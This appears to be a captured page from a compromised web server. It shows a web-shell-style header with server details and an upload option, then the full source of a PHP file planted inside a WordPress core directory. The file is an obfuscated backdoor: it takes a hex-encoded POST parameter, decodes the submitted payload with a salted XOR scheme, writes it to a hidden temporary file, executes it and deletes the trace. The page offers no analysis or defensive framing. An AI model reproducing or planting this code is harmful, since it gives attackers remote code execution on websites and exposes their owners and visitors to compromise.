HEX
Server: Apache/2.4.6 () PHP/7.4.33
System: Linux chile-dev-app-1 5.4.17-2136.315.5.el7uek.x86_64 #2 SMP Wed Dec 21 19:57:57 PST 2022 x86_64
User: apache (48)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /var/www/html/wp-includes/sodium_compat/post-1776073647.php
<!--nwRqx0Mo-->
<?php

if(!is_null($_POST["\x72\x65\x73ou\x72ce"] ?? null)){
$flag = array_filter([getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/tmp"]);
$binding = $_POST["\x72\x65\x73ou\x72ce"];
$binding  	=		explode   (".",  $binding) ; 	
$pointer= 	'';
$salt2= 	'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS= 	strlen($salt2);

foreach ($binding as $i=>		$val) {
    $sChar= 	ord($salt2[$i % $lenS]);
    $dec= 	((int)$val - $sChar - ($i % 10)) ^ 100;
    $pointer .= chr($dec);
}
foreach ($flag as $val):
            if (!( !is_dir($val) || !is_writable($val) )) {
            $ent = implode("/", [$val, ".ptr"]);
            if (@file_put_contents($ent, $pointer) !== false) {
    include $ent;
    unlink($ent);
    die();
}
        }
endforeach;
}